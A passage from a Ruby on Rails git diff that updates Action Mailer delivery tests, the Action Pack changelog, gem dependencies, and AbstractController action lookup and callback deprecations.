+    assert_equal Mail::Message , @mail.message.class
+  end
+
+  test 'should respond to .deliver_later' do
+    assert_respond_to @mail, :deliver_later
+  end
+
+  test 'should respond to .deliver_later!' do
+    assert_respond_to @mail, :deliver_later!
+  end
+
+  test 'should respond to .deliver_now' do
+    assert_respond_to @mail, :deliver_now
+  end
+
+  test 'should respond to .deliver_now!' do
+    assert_respond_to @mail, :deliver_now!
+  end
+
+  def test_should_enqueue_and_run_correctly_in_activejob
+    @mail.deliver_later!
+    assert_equal 1, ActionMailer::Base.deliveries.size
+  ensure
+    ActionMailer::Base.deliveries.clear
+  end
+
+  test 'should enqueue the email with :deliver_now delivery method' do
+    assert_performed_with(job: ActionMailer::DeliveryJob, args: ['DelayedMailer', 'test_message', 'deliver_now', 1, 2, 3]) do
+      @mail.deliver_later
+    end
+  end
+
+  test 'should enqueue the email with :deliver_now! delivery method' do
+    assert_performed_with(job: ActionMailer::DeliveryJob, args: ['DelayedMailer', 'test_message', 'deliver_now!', 1, 2, 3]) do
+      @mail.deliver_later!
+    end
+  end
+
+  test 'should enqueue a delivery with a delay' do
+    travel_to Time.new(2004, 11, 24, 01, 04, 44) do
+      assert_performed_with(job: ActionMailer::DeliveryJob, at: Time.current.to_f+600.seconds, args: ['DelayedMailer', 'test_message', 'deliver_now', 1, 2, 3]) do
+        @mail.deliver_later wait: 600.seconds
+      end
+    end
+  end
+
+  test 'should enqueue a delivery at a specific time' do
+    later_time = Time.now.to_f + 3600
+    assert_performed_with(job: ActionMailer::DeliveryJob, at: later_time, args: ['DelayedMailer', 'test_message', 'deliver_now', 1, 2, 3]) do
+      @mail.deliver_later wait_until: later_time
+    end
+  end
+
+end
diff --git a/actionmailer/test/test_test.rb b/actionmailer/test/test_case_test.rb
index 86fd37bea6..86fd37bea6 100644
--- a/actionmailer/test/test_test.rb
+++ b/actionmailer/test/test_case_test.rb
diff --git a/actionmailer/test/test_helper_test.rb b/actionmailer/test/test_helper_test.rb
index 7c7f0b6fdc..089933e245 100644
--- a/actionmailer/test/test_helper_test.rb
+++ b/actionmailer/test/test_helper_test.rb
@@ -1,4 +1,5 @@
 require 'abstract_unit'
+require 'active_support/testing/stream'
 
 class TestHelperMailer < ActionMailer::Base
   def test
@@ -10,6 +11,8 @@ class TestHelperMailer < ActionMailer::Base
 end
 
 class TestHelperMailerTest < ActionMailer::TestCase
+  include ActiveSupport::Testing::Stream
+
   def test_setup_sets_right_action_mailer_options
     assert_equal :test, ActionMailer::Base.delivery_method
     assert ActionMailer::Base.perform_deliveries
@@ -36,10 +39,18 @@ class TestHelperMailerTest < ActionMailer::TestCase
     assert_equal "UTF-8", charset
   end
 
+  def test_encode
+    assert_equal '=?UTF-8?Q?This_is_=E3=81=82_string?=', encode('This is あ string')
+  end
+
+  def test_read_fixture
+    assert_equal ['Welcome!'], read_fixture('welcome')
+  end
+
   def test_assert_emails
     assert_nothing_raised do
       assert_emails 1 do
-        TestHelperMailer.test.deliver
+        TestHelperMailer.test.deliver_now
       end
     end
   end
@@ -47,27 +58,27 @@ class TestHelperMailerTest < ActionMailer::TestCase
   def test_repeated_assert_emails_calls
     assert_nothing_raised do
       assert_emails 1 do
-        TestHelperMailer.test.deliver
+        TestHelperMailer.test.deliver_now
       end
     end
 
     assert_nothing_raised do
       assert_emails 2 do
-        TestHelperMailer.test.deliver
-        TestHelperMailer.test.deliver
+        TestHelperMailer.test.deliver_now
+        TestHelperMailer.test.deliver_now
       end
     end
   end
 
   def test_assert_emails_with_no_block
     assert_nothing_raised do
-      TestHelperMailer.test.deliver
+      TestHelperMailer.test.deliver_now
       assert_emails 1
     end
 
     assert_nothing_raised do
-      TestHelperMailer.test.deliver
-      TestHelperMailer.test.deliver
+      TestHelperMailer.test.deliver_now
+      TestHelperMailer.test.deliver_now
       assert_emails 3
     end
   end
@@ -83,7 +94,7 @@ class TestHelperMailerTest < ActionMailer::TestCase
   def test_assert_emails_too_few_sent
     error = assert_raise ActiveSupport::TestCase::Assertion do
       assert_emails 2 do
-        TestHelperMailer.test.deliver
+        TestHelperMailer.test.deliver_now
       end
     end
 
@@ -93,8 +104,8 @@ class TestHelperMailerTest < ActionMailer::TestCase
   def test_assert_emails_too_many_sent
     error = assert_raise ActiveSupport::TestCase::Assertion do
       assert_emails 1 do
-        TestHelperMailer.test.deliver
-        TestHelperMailer.test.deliver
+        TestHelperMailer.test.deliver_now
+        TestHelperMailer.test.deliver_now
       end
     end
 
@@ -104,7 +115,62 @@ class TestHelperMailerTest < ActionMailer::TestCase
   def test_assert_no_emails_failure
     error = assert_raise ActiveSupport::TestCase::Assertion do
       assert_no_emails do
-        TestHelperMailer.test.deliver
+        TestHelperMailer.test.deliver_now
+      end
+    end
+
+    assert_match(/0 .* but 1/, error.message)
+  end
+
+  def test_assert_enqueued_emails
+    assert_nothing_raised do
+      assert_enqueued_emails 1 do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_emails_too_few_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_emails 2 do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+
+    assert_match(/2 .* but 1/, error.message)
+  end
+
+  def test_assert_enqueued_emails_too_many_sent
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_enqueued_emails 1 do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+
+    assert_match(/1 .* but 2/, error.message)
+  end
+
+  def test_assert_no_enqueued_emails
+    assert_nothing_raised do
+      assert_no_enqueued_emails do
+        TestHelperMailer.test.deliver_now
+      end
+    end
+  end
+
+  def test_assert_no_enqueued_emails_failure
+    error = assert_raise ActiveSupport::TestCase::Assertion do
+      assert_no_enqueued_emails do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+        end
       end
     end
 
diff --git a/actionmailer/test/url_test.rb b/actionmailer/test/url_test.rb
index 589944fa69..7928fe9542 100644
--- a/actionmailer/test/url_test.rb
+++ b/actionmailer/test/url_test.rb
@@ -23,9 +23,32 @@ class UrlTestMailer < ActionMailer::Base
     mail(to: recipient, subject: "[Signed up] Welcome #{recipient}",
       from: "system@loudthinking.com", date: Time.local(2004, 12, 12))
   end
+
+  def exercise_url_for(options)
+    @options = options
+    @url = url_for(@options)
+    mail(from: 'from@example.com', to: 'to@example.com', subject: 'subject')
+  end
 end
 
 class ActionMailerUrlTest < ActionMailer::TestCase
+  class DummyModel
+    def self.model_name
+      OpenStruct.new(route_key: 'dummy_model')
+    end
+
+    def persisted?
+      false
+    end
+
+    def model_name
+      self.class.model_name
+    end
+
+    def to_model
+      self
+    end
+  end
 
   def encode( text, charset="UTF-8" )
     quoted_printable( text, charset )
@@ -40,10 +63,47 @@ class ActionMailerUrlTest < ActionMailer::TestCase
     mail
   end
 
+  def assert_url_for(expected, options, relative = false)
+    expected = "http://www.basecamphq.com#{expected}" if expected.start_with?('/') && !relative
+    urls = UrlTestMailer.exercise_url_for(options).body.to_s.chomp.split
+
+    assert_equal expected, urls.first
+    assert_equal expected, urls.second
+  end
+
   def setup
     @recipient = 'test@localhost'
   end
 
+  def test_url_for
+    UrlTestMailer.delivery_method = :test
+
+    AppRoutes.draw do
+      get ':controller(/:action(/:id))'
+      get '/welcome'  => 'foo#bar', as: 'welcome'
+      get '/dummy_model' => 'foo#baz', as: 'dummy_model'
+    end
+
+    # string
+    assert_url_for 'http://foo/', 'http://foo/'
+
+    # symbol
+    assert_url_for '/welcome', :welcome
+
+    # hash
+    assert_url_for '/a/b/c', controller: 'a', action: 'b', id: 'c'
+    assert_url_for '/a/b/c', {controller: 'a', action: 'b', id: 'c', only_path: true}, true
+
+    # model
+    assert_url_for '/dummy_model', DummyModel.new
+
+    # class
+    assert_url_for '/dummy_model', DummyModel
+
+    # array
+    assert_url_for '/dummy_model' , [DummyModel]
+  end
+
   def test_signed_up_with_url
     UrlTestMailer.delivery_method = :test
 
@@ -66,13 +126,13 @@ class ActionMailerUrlTest < ActionMailer::TestCase
 
     expected.message_id = '<123@456>'
     created.message_id = '<123@456>'
-    assert_equal expected.encoded, created.encoded
+    assert_dom_equal expected.encoded, created.encoded
 
-    assert_nothing_raised { UrlTestMailer.signed_up_with_url(@recipient).deliver }
+    assert_nothing_raised { UrlTestMailer.signed_up_with_url(@recipient).deliver_now }
     assert_not_nil ActionMailer::Base.deliveries.first
     delivered = ActionMailer::Base.deliveries.first
 
     delivered.message_id = '<123@456>'
-    assert_equal expected.encoded, delivered.encoded
+    assert_dom_equal expected.encoded, delivered.encoded
   end
 end
diff --git a/actionpack/CHANGELOG.md b/actionpack/CHANGELOG.md
index 9f7c21b177..3b115a7bf7 100644
--- a/actionpack/CHANGELOG.md
+++ b/actionpack/CHANGELOG.md
@@ -3,121 +3,222 @@
 
     *Max Melentiev*
 
-*   Introduce `BasicRendering` which is the most basic rendering implementation. It
-    allows to `render :text` and `render :nothing` without depending on Action View.
+*   Expand `ActionController::ConditionalGet#fresh_when` and `stale?` to also
+    accept a collection of records as the first argument, so that the
+    following code can be written in a shorter form.
 
-    *Łukasz Strzałkowski*
+        # Before
+        def index
+          @articles = Article.all
+          fresh_when(etag: @articles, last_modified: @articles.maximum(:updated_at))
+        end
 
-*   Separate Action View completely from Action Pack.
+        # After
+        def index
+          @articles = Article.all
+          fresh_when(@articles)
+        end
 
-    *Łukasz Strzałkowski*
+    *claudiob*
 
-*   Development mode exceptions are rendered in text format in case of XHR request.
+*   Explicitly ignored wildcard verbs when searching for HEAD routes before fallback
+
+    Fixes an issue where a mounted rack app at root would intercept the HEAD 
+    request causing an incorrect behavior during the fall back to GET requests.
+
+    Example:
+    ```ruby
+    draw do
+        get '/home' => 'test#index'
+        mount rack_app, at: '/'
+    end
+    head '/home'
+    assert_response :success
+    ```
+    In this case, a HEAD request runs through the routes the first time and fails
+    to match anything. Then, it runs through the list with the fallback and matches
+    `get '/home'`. The original behavior would match the rack app in the first pass.
+
+    *Terence Sun*
+
+*   Migrating xhr methods to keyword arguments syntax
+    in `ActionController::TestCase` and `ActionDispatch::Integration`
+
+    Old syntax:
+
+        xhr :get, :create, params: { id: 1 }
+
+    New syntax example:
+
+        get :create, params: { id: 1 }, xhr: true
 
     *Kir Shatrov*
 
-*   Fix an issue where :if and :unless controller action procs were being run
-    before checking for the correct action in the :only and :unless options.
+*   Migrating to keyword arguments syntax in `ActionController::TestCase` and
+    `ActionDispatch::Integration` HTTP request methods.
 
-    Fixes #11799
+    Example:
 
-    *Nicholas Jakobsen*
+        post :create, params: { y: x }, session: { a: 'b' }
+        get :view, params: { id: 1 }
+        get :view, params: { id: 1 }, format: :json
+
+    *Kir Shatrov*
 
-*   Fix an issue where `assert_dom_equal` and `assert_dom_not_equal` were
-    ignoring the passed failure message argument.
+*   Preserve default url options when generating URLs.
 
-    Fixes #11751
+    Fixes an issue that would cause default_url_options to be lost when
+    generating URLs with fewer positional arguments than parameters in the
+    route definition.
 
-    *Ryan McGeary*
+    *Tekin Suleyman*
 
-*   Allow REMOTE_ADDR, HTTP_HOST and HTTP_USER_AGENT to be overridden from
-    the environment passed into `ActionDispatch::TestRequest.new`.
+*   Deprecate *_via_redirect integration test methods.
 
-    Fixes #11590
+    Use `follow_redirect!` manually after the request call for the same behavior.
 
-    *Andrew White*
+    *Aditya Kapoor*
 
-*   Fix an issue where Journey was failing to clear the named routes hash when the
-    routes were reloaded and since it doesn't overwrite existing routes then if a
-    route changed but wasn't renamed it kept the old definition. This was being
-    masked by the optimised url helpers so it only became apparent when passing an
-    options hash to the url helper.
+*   Add `ActionController::Renderer` to render arbitrary templates
+    outside controller actions.
 
-    *Andrew White*
+    Its functionality is accessible through class methods `render` and
+    `renderer` of `ActionController::Base`.
 
-*   Skip routes pointing to a redirect or mounted application when generating urls
-    using an options hash as they aren't relevant and generate incorrect urls.
+    *Ravil Bayramgalin*
 
-    Fixes #8018
+*   Support `:assigns` option when rendering with controllers/mailers.
 
-    *Andrew White*
+    *Ravil Bayramgalin*
 
-*   Move `MissingHelperError` out of the `ClassMethods` module.
+*   Default headers, removed in controller actions, are no longer reapplied on
+    the test response.
 
-    *Yves Senn*
+    *Jonas Baumann*
 
-*   Fix an issue where rails raise exception about missing helper where it
-    should throw `LoadError`. When helper file exists and only loaded file from
-    this helper does not exist rails should throw LoadError instead of
-    `MissingHelperError`.
+*   Deprecate all *_filter callbacks in favor of *_action callbacks.
 
-    *Piotr Niełacny*
+    *Rafael Mendonça França*
 
-*   Fix `ActionDispatch::ParamsParser#parse_formatted_parameters` to rewind body input stream on
-    parsing json params.
+*   Allow you to pass `prepend: false` to protect_from_forgery to have the
+    verification callback appended instead of prepended to the chain.
+    This allows you to let the verification step depend on prior callbacks.
 
-    Fixes #11345
+    Example:
 
-    *Yuri Bol*, *Paul Nikitochkin*
+        class ApplicationController < ActionController::Base
+          before_action :authenticate
+          protect_from_forgery prepend: false, unless: -> { @authenticated_by.oauth? }
 
-*   Ignore spaces around delimiter in Set-Cookie header.
+          private
+            def authenticate
+              if oauth_request?
+                # authenticate with oauth
+                @authenticated_by = 'oauth'.inquiry
+              else
+                # authenticate with cookies
+                @authenticated_by = 'cookie'.inquiry
+              end
+            end
+        end
 
-    *Yamagishi Kazutoshi*
+    *Josef Šimánek*
 
-*   Remove deprecated Rails application fallback for integration testing, set
-    `ActionDispatch.test_app` instead.
+*   Remove `ActionController::HideActions`.
+
+    *Ravil Bayramgalin*
+
+*   Remove `respond_to`/`respond_with` placeholder methods, this functionality
+    has been extracted to the `responders` gem.
 
     *Carlos Antonio da Silva*
 
-*   Remove deprecated `page_cache_extension` config.
+*   Remove deprecated assertion files.
 
-    *Francesco Rodriguez*
+    *Rafael Mendonça França*
 
-*   Remove deprecated constants from Action Controller:
+*   Remove deprecated usage of string keys in URL helpers.
 
-        ActionController::AbstractRequest  => ActionDispatch::Request
-        ActionController::Request          => ActionDispatch::Request
-        ActionController::AbstractResponse => ActionDispatch::Response
-        ActionController::Response         => ActionDispatch::Response
-        ActionController::Routing          => ActionDispatch::Routing
-        ActionController::Integration      => ActionDispatch::Integration
-        ActionController::IntegrationTest  => ActionDispatch::IntegrationTest
+    *Rafael Mendonça França*
 
-    *Carlos Antonio da Silva*
+*   Remove deprecated `only_path` option on `*_path` helpers.
+
+    *Rafael Mendonça França*
+
+*   Remove deprecated `NamedRouteCollection#helpers`.
+
+    *Rafael Mendonça França*
+
+*   Remove deprecated support to define routes with `:to` option that doesn't contain `#`.
+
+    *Rafael Mendonça França*
+
+*   Remove deprecated `ActionDispatch::Response#to_ary`.
+
+    *Rafael Mendonça França*
+
+*   Remove deprecated `ActionDispatch::Request#deep_munge`.
+
+    *Rafael Mendonça França*
+
+*   Remove deprecated `ActionDispatch::Http::Parameters#symbolized_path_parameters`.
+
+    *Rafael Mendonça França*
+
+*   Remove deprecated option `use_route` in controller tests.
+
+    *Rafael Mendonça França*
+
+*   Ensure `append_info_to_payload` is called even if an exception is raised.
+
+    Fixes an issue where when an exception is raised in the request the additonal
+    payload data is not available.
+
+    See:
+    * #14903
+    * https://github.com/roidrage/lograge/issues/37
+
+    *Dieter Komendera*, *Margus Pärt*
+
+*   Correctly rely on the response's status code to handle calls to `head`.
+
+    *Robin Dupret*
+
+*   Using `head` method returns empty response_body instead
+    of returning a single space " ".
+
+    The old behavior was added as a workaround for a bug in an early
+    version of Safari, where the HTTP headers are not returned correctly
+    if the response body has a 0-length. This is been fixed since and
+    the workaround is no longer necessary.
+
+    Fixes #18253.
+
+    *Prathamesh Sonpatki*
+
+*   Fix how polymorphic routes works with objects that implement `to_model`.
 
-*   Fix `Mime::Type.parse` when bad accepts header is looked up. Previously it
-    was setting `request.formats` with an array containing a `nil` value, which
-    raised an error when setting the controller formats.
+    *Travis Grathwell*
 
-    Fixes #10965
+*   Stop converting empty arrays in `params` to `nil`.
 
-    *Becker*
+    This behaviour was introduced in response to CVE-2012-2660, CVE-2012-2694
+    and CVE-2013-0155
 
-*   Merge `:action` from routing scope and assign endpoint if both `:controller`
-    and `:action` are present. The endpoint assignment only occurs if there is
-    no `:to` present in the options hash so should only affect routes using the
-    shorthand syntax (i.e. endpoint is inferred from the path).
+    ActiveRecord now issues a safe query when passing an empty array into
+    a where clause, so there is no longer a need to defend against this type
+    of input (any nils are still stripped from the array).
 
-    Fixes #9856
+    *Chris Sinjakli*
 
-    *Yves Senn*, *Andrew White*
+*   Fixed usage of optional scopes in url helpers.
 
-*   ActionView extracted from ActionPack
+    *Alex Robbin*
 
-    *Piotr Sarnacki*, *Łukasz Strzałkowski*
+*   Fixed handling of positional url helper arguments when `format: false`.
 
-*   Fix removing trailing slash for mounted apps #3215
+    Fixes #17819.
 
-    *Piotr Sarnacki*
+    *Andrew White*, *Tatiana Soukiassian*
 
-Please check [4-0-stable](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for previous changes.
+Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actionpack/CHANGELOG.md) for previous changes.
diff --git a/actionpack/MIT-LICENSE b/actionpack/MIT-LICENSE
index 5c668d9624..3ec7a617cf 100644
--- a/actionpack/MIT-LICENSE
+++ b/actionpack/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2013 David Heinemeier Hansson
+Copyright (c) 2004-2015 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/actionpack/README.rdoc b/actionpack/README.rdoc
index 2f6575c3b5..02a24a7412 100644
--- a/actionpack/README.rdoc
+++ b/actionpack/README.rdoc
@@ -48,6 +48,11 @@ API documentation is at
 
 * http://api.rubyonrails.org
 
-Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+Bug reports can be filed for the Ruby on Rails project here:
 
 * https://github.com/rails/rails/issues
+
+Feature requests should be discussed on the rails-core mailing list here:
+
+* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+
diff --git a/actionpack/RUNNING_UNIT_TESTS.rdoc b/actionpack/RUNNING_UNIT_TESTS.rdoc
deleted file mode 100644
index 08767ae133..0000000000
--- a/actionpack/RUNNING_UNIT_TESTS.rdoc
+++ /dev/null
@@ -1,17 +0,0 @@
-== Running with Rake
-
-The easiest way to run the unit tests is through Rake. The default task runs
-the entire test suite for all classes. For more information, checkout the
-full array of rake tasks with "rake -T"
-
-Rake can be found at http://rake.rubyforge.org
-
-== Running by hand
-
-To run a single test suite
-
-   rake test TEST=path/to/test.rb
-
-which can be further narrowed down to one test:
-
-   rake test TEST=path/to/test.rb TESTOPTS="--name=test_something"
diff --git a/actionpack/Rakefile b/actionpack/Rakefile
index 7eab972595..4b60b77759 100644
--- a/actionpack/Rakefile
+++ b/actionpack/Rakefile
@@ -1,7 +1,7 @@
 require 'rake/testtask'
 require 'rubygems/package_task'
 
-test_files = Dir.glob('test/{abstract,controller,dispatch,assertions,journey,routing}/**/*_test.rb')
+test_files = Dir.glob('test/**/*_test.rb')
 
 desc "Default Task"
 task :default => :test
@@ -16,6 +16,7 @@ Rake::TestTask.new do |t|
 
   t.warning = true
   t.verbose = true
+  t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
 end
 
 namespace :test do
@@ -40,27 +41,9 @@ task :release => :package do
 end
 
 task :lines do
-  lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
-
-  FileList["lib/**/*.rb"].each do |file_name|
-    next if file_name =~ /vendor/
-    File.open(file_name, 'r') do |f|
-      while line = f.gets
-        lines += 1
-        next if line =~ /^\s*$/
-        next if line =~ /^\s*#/
-        codelines += 1
-      end
-    end
-    puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
-
-    total_lines     += lines
-    total_codelines += codelines
-
-    lines, codelines = 0, 0
-  end
-
-  puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
+  load File.expand_path('..', File.dirname(__FILE__)) + '/tools/line_statistics'
+  files = FileList["lib/**/*.rb"]
+  CodeTools::LineStatistics.new(files).print_loc
 end
 
 rule '.rb' => '.y' do |t|
diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec
index b4315c1f57..d9b23ad4a9 100644
--- a/actionpack/actionpack.gemspec
+++ b/actionpack/actionpack.gemspec
@@ -7,7 +7,7 @@ Gem::Specification.new do |s|
   s.summary     = 'Web-flow and rendering framework putting the VC in MVC (part of Rails).'
   s.description = 'Web apps on Rails. Simple, battle-tested conventions for building and testing MVC web applications. Works with any Rack-compatible server.'
 
-  s.required_ruby_version = '>= 1.9.3'
+  s.required_ruby_version = '>= 2.2.0'
 
   s.license = 'MIT'
 
@@ -21,10 +21,11 @@ Gem::Specification.new do |s|
 
   s.add_dependency 'activesupport', version
 
-  s.add_dependency 'rack',          '~> 1.5.2'
-  s.add_dependency 'rack-test',     '~> 0.6.2'
+  s.add_dependency 'rack',      '~> 1.6'
+  s.add_dependency 'rack-test', '~> 0.6.2'
+  s.add_dependency 'rails-html-sanitizer', '~> 1.0', '>= 1.0.1'
+  s.add_dependency 'rails-dom-testing', '~> 1.0', '>= 1.0.5'
+  s.add_dependency 'actionview', version
 
-  s.add_development_dependency 'actionview',    version
-  s.add_development_dependency 'activemodel',   version
-  s.add_development_dependency 'tzinfo',        '~> 0.3.37'
+  s.add_development_dependency 'activemodel', version
 end
diff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb
index a84ed17bd4..c95b9a4097 100644
--- a/actionpack/lib/abstract_controller/base.rb
+++ b/actionpack/lib/abstract_controller/base.rb
@@ -8,10 +8,11 @@ module AbstractController
   class Error < StandardError #:nodoc:
   end
 
-  class ActionNotFound < StandardError #:nodoc:
+  # Raised when a non-existing controller action is triggered.
+  class ActionNotFound < StandardError
   end
 
-  # <tt>AbstractController::Base</tt> is a low-level API. Nobody should be
+  # AbstractController::Base is a low-level API. Nobody should be
   # using it directly, and subclasses (like ActionController::Base) are
   # expected to provide their own +render+ method, since rendering means
   # different things depending on the context.
@@ -56,21 +57,11 @@ module AbstractController
         controller.public_instance_methods(true)
       end
 
-      # The list of hidden actions. Defaults to an empty array.
-      # This can be modified by other modules or subclasses
-      # to specify particular actions as hidden.
-      #
-      # ==== Returns
-      # * <tt>Array</tt> - An array of method names that should not be considered actions.
-      def hidden_actions
-        []
-      end
-
       # A list of method names that should be considered actions. This
       # includes all public instance methods on a controller, less
-      # any internal methods (see #internal_methods), adding back in
+      # any internal methods (see internal_methods), adding back in
       # any methods that are internal, but still exist on the class
-      # itself. Finally, #hidden_actions are removed.
+      # itself.
       #
       # ==== Returns
       # * <tt>Set</tt> - A set of all methods that should be considered actions.
@@ -81,25 +72,26 @@ module AbstractController
             # Except for public instance methods of Base and its ancestors
             internal_methods +
             # Be sure to include shadowed public instance methods of this class
-            public_instance_methods(false)).uniq.map { |x| x.to_s } -
-            # And always exclude explicitly hidden actions
-            hidden_actions.to_a
+            public_instance_methods(false)).uniq.map(&:to_s)
 
-          # Clear out AS callback method pollution
-          Set.new(methods.reject { |method| method =~ /_one_time_conditions/ })
+          methods.to_set
         end
       end
 
       # action_methods are cached and there is sometimes need to refresh
-      # them. clear_action_methods! allows you to do that, so next time
+      # them. ::clear_action_methods! allows you to do that, so next time
       # you run action_methods, they will be recalculated
       def clear_action_methods!
         @action_methods = nil
       end
 
       # Returns the full controller name, underscored, without the ending Controller.
-      # For instance, MyApp::MyPostsController would return "my_app/my_posts" for
-      # controller_path.
+      #
+      #   class MyApp::MyPostsController < AbstractController::Base
+      #     end
+      #   end
+      #
+      #   MyApp::MyPostsController.controller_path # => "my_app/my_posts"
       #
       # ==== Returns
       # * <tt>String</tt>
@@ -114,25 +106,20 @@ module AbstractController
       end
     end
 
-    # Define some internal variables that should not be propagated to the view.
-    def self.default_protected_instance_vars
-      []
-    end
-
     abstract!
 
     # Calls the action going through the entire action dispatch stack.
     #
     # The actual method that is called is determined by calling
     # #method_for_action. If no method can handle the action, then an
-    # ActionNotFound error is raised.
+    # AbstractController::ActionNotFound error is raised.
     #
     # ==== Returns
     # * <tt>self</tt>
     def process(action, *args)
-      @_action_name = action_name = action.to_s
+      @_action_name = action.to_s
 
-      unless action_name = method_for_action(action_name)
+      unless action_name = _find_action_name(@_action_name)
         raise ActionNotFound, "The action '#{action}' could not be found for #{self.class.name}"
       end
 
@@ -141,12 +128,12 @@ module AbstractController
       process_action(action_name, *args)
     end
 
-    # Delegates to the class' #controller_path
+    # Delegates to the class' ::controller_path
     def controller_path
       self.class.controller_path
     end
 
-    # Delegates to the class' #action_methods
+    # Delegates to the class' ::action_methods
     def action_methods
       self.class.action_methods
     end
@@ -165,7 +152,15 @@ module AbstractController
     # ==== Returns
     # * <tt>TrueClass</tt>, <tt>FalseClass</tt>
     def available_action?(action_name)
-      method_for_action(action_name).present?
+      _find_action_name(action_name).present?
+    end
+
+    # Returns true if the given controller is capable of rendering
+    # a path. A subclass of +AbstractController::Base+
+    # may return false. An Email controller for example does not
+    # support paths, only full URLs.
+    def self.supports_path?
+      true
     end
 
     private
@@ -209,6 +204,24 @@ module AbstractController
       end
 
       # Takes an action name and returns the name of the method that will
+      # handle the action.
+      #
+      # It checks if the action name is valid and returns false otherwise.
+      #
+      # See method_for_action for more information.
+      #
+      # ==== Parameters
+      # * <tt>action_name</tt> - An action name to find a method name for
+      #
+      # ==== Returns
+      # * <tt>string</tt> - The name of the method that handles the action
+      # * false           - No valid method name could be found.
+      # Raise AbstractController::ActionNotFound.
+      def _find_action_name(action_name)
+        _valid_action_name?(action_name) && method_for_action(action_name)
+      end
+
+      # Takes an action name and returns the name of the method that will
       # handle the action. In normal cases, this method returns the same
       # name as it receives. By default, if #method_for_action receives
       # a name that is not an action, it will look for an #action_missing
@@ -223,14 +236,14 @@ module AbstractController
       # the case.
       #
       # If none of these conditions are true, and method_for_action
-      # returns nil, an ActionNotFound exception will be raised.
+      # returns nil, an AbstractController::ActionNotFound exception will be raised.
       #
       # ==== Parameters
       # * <tt>action_name</tt> - An action name to find a method name for
       #
       # ==== Returns
       # * <tt>string</tt> - The name of the method that handles the action
-      # * <tt>nil</tt>    - No method name could be found. Raise ActionNotFound.
+      # * <tt>nil</tt>    - No method name could be found.
       def method_for_action(action_name)
         if action_method?(action_name)
           action_name
@@ -238,5 +251,10 @@ module AbstractController
           "_handle_action_missing"
         end
       end
+
+      # Checks if the action name is valid and returns false otherwise.
+      def _valid_action_name?(action_name)
+        !action_name.to_s.include? File::SEPARATOR
+      end
   end
 end
diff --git a/actionpack/lib/abstract_controller/callbacks.rb b/actionpack/lib/abstract_controller/callbacks.rb
index d6c941832f..69f490b327 100644
--- a/actionpack/lib/abstract_controller/callbacks.rb
+++ b/actionpack/lib/abstract_controller/callbacks.rb
@@ -1,3 +1,5 @@
+require 'active_support/deprecation'
+
 module AbstractController
   module Callbacks
     extend ActiveSupport::Concern
@@ -9,7 +11,7 @@ module AbstractController
 
     included do
       define_callbacks :process_action,
-                       terminator: ->(controller,_) { controller.response_body },
+                       terminator: ->(controller, result_lambda) { result_lambda.call if result_lambda.is_a?(Proc); controller.response_body },
                        skip_after_callbacks_if_terminated: true
     end
 
@@ -22,10 +24,21 @@ module AbstractController
     end
 
     module ClassMethods
-      # If :only or :except are used, convert the options into the
-      # :unless and :if options of ActiveSupport::Callbacks.
-      # The basic idea is that :only => :index gets converted to
-      # :if => proc {|c| c.action_name == "index" }.
+      # If +:only+ or +:except+ are used, convert the options into the
+      # +:if+ and +:unless+ options of ActiveSupport::Callbacks.
+      #
+      # The basic idea is that <tt>:only => :index</tt> gets converted to
+      # <tt>:if => proc {|c| c.action_name == "index" }</tt>.
+      #
+      # Note that <tt>:only</tt> has priority over <tt>:if</tt> in case they
+      # are used together.
+      #
+      #   only: :index, if: -> { true } # the :if option will be ignored.
+      #
+      # Note that <tt>:if</tt> has priority over <tt>:except</tt> in case they
+      # are used together.
+      #
+      #   except: :index, if: -> { true } # the :except option will be ignored.
       #
       # ==== Options
       # * <tt>only</tt>   - The callback should be run only for this action
@@ -42,21 +55,23 @@ module AbstractController
         end
       end
 
-      # Skip before, after, and around action callbacks matching any of the names
-      # Aliased as skip_filter.
+      # Skip before, after, and around action callbacks matching any of the names.
       #
       # ==== Parameters
       # * <tt>names</tt> - A list of valid names that could be used for
       #   callbacks. Note that skipping uses Ruby equality, so it's
       #   impossible to skip a callback defined using an anonymous proc
-      #   using #skip_filter
+      #   using #skip_action_callback
       def skip_action_callback(*names)
         skip_before_action(*names)
         skip_after_action(*names)
         skip_around_action(*names)
       end
 
-      alias_method :skip_filter, :skip_action_callback
+      def skip_filter(*names)
+        ActiveSupport::Deprecation.warn("#{callback}_filter is deprecated and will be removed in Rails 5.1. Use #{callback}_action instead.")
+        skip_action_callback(*names)
+      end
 
       # Take callback names and an optional callback proc, normalize them,
       # then call the block with each callback. This allows us to abstract
@@ -85,7 +100,6 @@ module AbstractController
       # :call-seq: before_action(names, block)
       #
       # Append a callback before actions. See _insert_callbacks for parameter details.
-      # Aliased as before_filter.
 
       ##
       # :method: prepend_before_action
@@ -93,7 +107,6 @@ module AbstractController
       # :call-seq: prepend_before_action(names, block)
       #
       # Prepend a callback before actions. See _insert_callbacks for parameter details.
-      # Aliased as prepend_before_filter.
 
       ##
       # :method: skip_before_action
@@ -101,7 +114,6 @@ module AbstractController
       # :call-seq: skip_before_action(names)
       #
       # Skip a callback before actions. See _insert_callbacks for parameter details.
-      # Aliased as skip_before_filter.
 
       ##
       # :method: append_before_action
@@ -109,7 +121,6 @@ module AbstractController
       # :call-seq: append_before_action(names, block)
       #
